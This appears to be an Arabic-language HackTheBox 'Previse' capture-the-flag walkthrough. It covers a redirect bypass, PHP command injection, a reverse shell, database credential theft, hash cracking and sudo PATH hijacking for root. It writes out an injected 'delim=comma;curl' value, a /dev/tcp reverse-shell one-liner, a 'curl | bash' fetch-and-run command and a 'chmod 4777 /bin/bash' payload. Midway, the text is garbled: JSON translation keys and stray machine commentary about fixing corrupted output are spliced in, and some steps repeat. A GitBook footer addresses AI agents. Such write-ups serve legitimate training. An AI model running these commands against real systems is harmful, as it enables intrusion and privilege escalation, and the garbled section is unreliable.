> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md).

# شرح Previse HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Previse>" %}

{% hint style="warning" %}
**المهارات:**

* استطلاع الويب
* ثغرة التنفيذ بعد إعادة التوجيه (EAR) - تخطي عمليات إعادة التوجيه
* تحليل شفرة مصدر PHP
* حقن الأوامر (RCE)
* تسرب المعلومات
* استطلاع قاعدة البيانات
* كسر التجزئات
* استغلال صلاحية Sudoers + اختطاف PATH (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/cc64e2f340c116cce978f8fe97e37f4bcd04a53c" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/11cdf3a5b0ea3fa133e04c2348a6e171c13d1034" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.104 -oG allPorts
```

<figure><img src="/files/4d00ccecd948951a3ac3e85091ebcddca945564a" alt=""><figcaption></figcaption></figure>

**فحص إصدار المنافذ باستخدام Nmap 22.80:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,80 10.10.11.104 -oN targeted
```

<figure><img src="/files/9077be53757d2478136a1b4308d7aae3ed3f4510" alt=""><figcaption></figcaption></figure>

### المنفذ 80 - HTTP

نعثر على صفحة تسجيل دخول تتطلب اسم مستخدم وكلمة مرور.

<figure><img src="/files/3a5b1725055aabf581237f9347ea704502fc2729" alt=""><figcaption></figcaption></figure>

### **استكشاف أدلة وملفات PHP عشوائيًا**

نظرًا لوجود ملف PHP، فمن المرجح أن هناك ملفات أخرى:

```bash
gobuster dir -u http://10.10.11.104/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

## **ثغرة EAR (التنفيذ بعد إعادة التوجيه) - تخطي عمليات إعادة التوجيه**

نعثر على عدة صفحات تحتوي على محتوى لكنها تعيد التوجيه إلى صفحة تسجيل الدخول.

<figure><img src="/files/4934a9befdce2c1f2b0eb999394c73b92facfa8d" alt=""><figcaption></figcaption></figure>

نعترض الطلب عند `nav.php` باستخدام Burp Suite ونلاحظ إعادة توجيه 302.

<figure><img src="/files/d8aaafd294938717322fefbc2584a99fe676ce46" alt=""><figcaption></figcaption></figure>

من خلال فرض الاستجابة على `200 OK`، ننتقل مباشرة إلى `accounts` الصفحة.

<figure><img src="/files/92f36604df744b2f1806c1b9622fd5d7b00bd809" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/873caeb1b8e0a9d9ce7ad1923a0a1ea6c8d2479f" alt=""><figcaption></figcaption></figure>

ننشىء قاعدة في Burp Suite لتغيير `302 Found` الاستجابات إلى `200 OK`.

<figure><img src="/files/dfe72aa2165e0c80b23544eb1558448e68270d5d" alt=""><figcaption></figcaption></figure>

ثم ننشئ مستخدمًا `jordan` ونسجل الدخول.

<figure><img src="/files/41946d4e0ffa19a1d40844b0991b7deaafd92eed" alt=""><figcaption></figcaption></figure>

### **تحليل الملفات المسترجعة**

نحمّل ملفًا وُجد على `/files`:

<figure><img src="/files/15a5982710f00340a4c4cba34b1afa956011cd75" alt=""><figcaption></figcaption></figure>

```bash
unzip siteBackup.zip
```

<figure><img src="/files/8ed463d64ada563b97b5c28a006cd577ee9468ad" alt=""><figcaption></figcaption></figure>

نعثر على عدة ملفات PHP ونلاحظ أن `logs.php` يستخدم `exec()` الدالة دون أي تحقق:

```bash
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
```

<figure><img src="/files/d63260b2e793131fe7e9b1d4a6552382a73618bf" alt=""><figcaption></figcaption></figure>

### **استغلال حقن الأوامر (RCE)**

<figure><img src="/files/031a851031f004a7802838eca82ab58a445696e9" alt=""><figcaption></figcaption></figure>

نعترض الطلب إلى `file_logs.php` ونحقن أمرًا عبر `delim` المعلمة:

<pre class="language-bash"><code class="lang-bash"><strong>delim=comma;curl http://10.10.14.50
</strong></code></pre>

نتلقى اتصالًا.

<figure><img src="/files/35956373fd9055ea5257dcca581a590285e37973" alt=""><figcaption></figcaption></figure>

### شل عكسي

ننشىء `index.html` ملف يحتوي على:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

نشغّل خادم ويب Python:

```bash
python3 -m http.server 80
```

نستمع على جهازنا على المنفذ 443:

```bash
nc -nlvp 443
```

نشغّل الأمر التالي لاستعادة الصدفة العكسية:

```bash
;curl http://10.10.14.50  | bash
```

أصبحنا الآن المستخدم `www-data`.

<figure><img src="/files/d35e58cc1a922374baf34d6a5eff4a219c66fc67" alt=""><figcaption></figcaption></figure>

#### **تحسين الصدفة**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### **تصعيد الامتيازات**

### الانتقال إلى المستخدم m4lwhere

نعثر على ملف يحتوي على بيانات اعتماد:

* $user : root
* $passwd : mySQL/\_p\@ssw0rd!:)","t\_ca65fded":"نتصل بقاعدة بيانات MySQL:","t\_07e1af6f":"mysql -u root -p","t\_897d4e8b":"نستعرض قواعد البيانات:","t\_82d5dbb1":"show databases;","t\_298a0b45":"نعثر على قاعدة","t\_db3469c6":"previse","t\_f27de2d7":"، والتي نستخدمها:","t\_8fc46a30":"use previse;","t\_33e55bc1":"نستكشف","t\_e494d3a3":"show tables;","t\_09340b80":"describe accounts","t\_1c11542b":"نعثر على:","t\_139b35a7":"select username, password from accounts;","t\_94f18908":"اسم المستخدم: m4lwhere","t\_7f991773":"كلمة المرور: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.","t\_f112d119":"نستخدم Hashcat لفك تشفيره:","t\_459ebb08":"hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt","t\_dfec411b":"كلمة المرور : ilovecody112235!","t\_4a1d460d":"نسجل الدخول بصفتنا","t\_999d986c":"m4lwhere","t\_7528ade8":"نعثر على سكربت قابلًا للتنفيذ بصلاحيات root باستخدام","t\_a23cc015":"من دون مسار مطلق.","t\_9e7a35d0":"إنشاء ملف ثنائي خبيث","t\_c328dbbd":"متغير لتفضيل"}]}】}\`\`\`  નોંધ to correct JSON issue? Wait final output became corrupted due to accidental edit; need fix entire JSON properly. Let's reconstruct carefully. Some strings got cut at t\_80188745 and beyond due to mistake. Need complete valid JSON only. Let's ensure all keys included correctly. Use proper punctuation and escaped quotes if necessary. Need no extra text. Let's rebuild cleanly. Need be careful with t\_80188745 actual content: $passwd : mySQL/\_p\@ssw0rd!:) maybe translate label:&#x20;

<figure><img src="/files/60c45ff4c4b2ca6f2d161038bcc0b1b5c26bddab" alt=""><figcaption></figcaption></figure>

نتصل بقاعدة بيانات MySQL:

```sql
mysql -u root -p
```

نستعرض قواعد البيانات:

```sql
show databases;
```

نعثر على قاعدة `previse`، والتي نستخدمها:

```sql
use previse;
```

<figure><img src="/files/6fc7c2846cdc582154082df895e75f64cb82f505" alt=""><figcaption></figcaption></figure>

نستكشف `accounts` الجدول:

```sql
show tables;
describe accounts
```

<figure><img src="/files/f60367b2a7fe3f3c5e271a10282abe18d3381aae" alt=""><figcaption></figcaption></figure>

نعثر على:

```sql
select username, password from accounts;
```

* اسم المستخدم: m4lwhere
* كلمة المرور: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.

<figure><img src="/files/f1618ce73cbf42a20e823007e3fa55aabe762c9c" alt="" width="563"><figcaption></figcaption></figure>

### **كسر الهاش**

نستخدم Hashcat لفك تشفيره:

```bash
hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt
```

تم العثور على كلمة المرور:

* كلمة المرور : ilovecody112235!

<figure><img src="/files/2ba3a7ef5f762fd48061ad3f7241dc3bafc4adb4" alt=""><figcaption></figcaption></figure>

نسجل الدخول بصفتنا `m4lwhere`.

<figure><img src="/files/6262454dd494fbea1caab6e55edc63c02a9eda6c" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/e69e9f0fdeca000d31400ea7f1da430af5d11f5c" alt="" width="563"><figcaption></figcaption></figure>

### **اختطاف PATH (gzip)**

نستعرض أذونات sudo:

```bash
sudo -l
```

نعثر على سكربت قابلًا للتنفيذ بصلاحيات root باستخدام `gzip` من دون مسار مطلق.

<figure><img src="/files/d9da0cff2656a479baebec509f4757fa407ab195" alt=""><figcaption></figcaption></figure>

#### **إنشاء ملف ثنائي خبيث**

ننشئ ملفًا خبيثًا `gzip` الملف في `/tmp/`:

```bash
chmod 4777 /bin/bash
```

نعدّل `PATH` متغير لتفضيل `/tmp/`:

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="/files/6db385d8ee52b1a33f2cf953ccdead97fa0d79ee" alt=""><figcaption></figcaption></figure>

نشغّل البرنامج النصي كجذر:

```bash
sudo /opt/scripts/access_backup.sh
```

<figure><img src="/files/5d46411c51fd6f792e81e01ecf620f6687cd072a" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/5f17cee13cf1934189e77fc6d7fbc666f669d192" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/341e534d8ba2ab889f14509d046fdff6d101c473" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
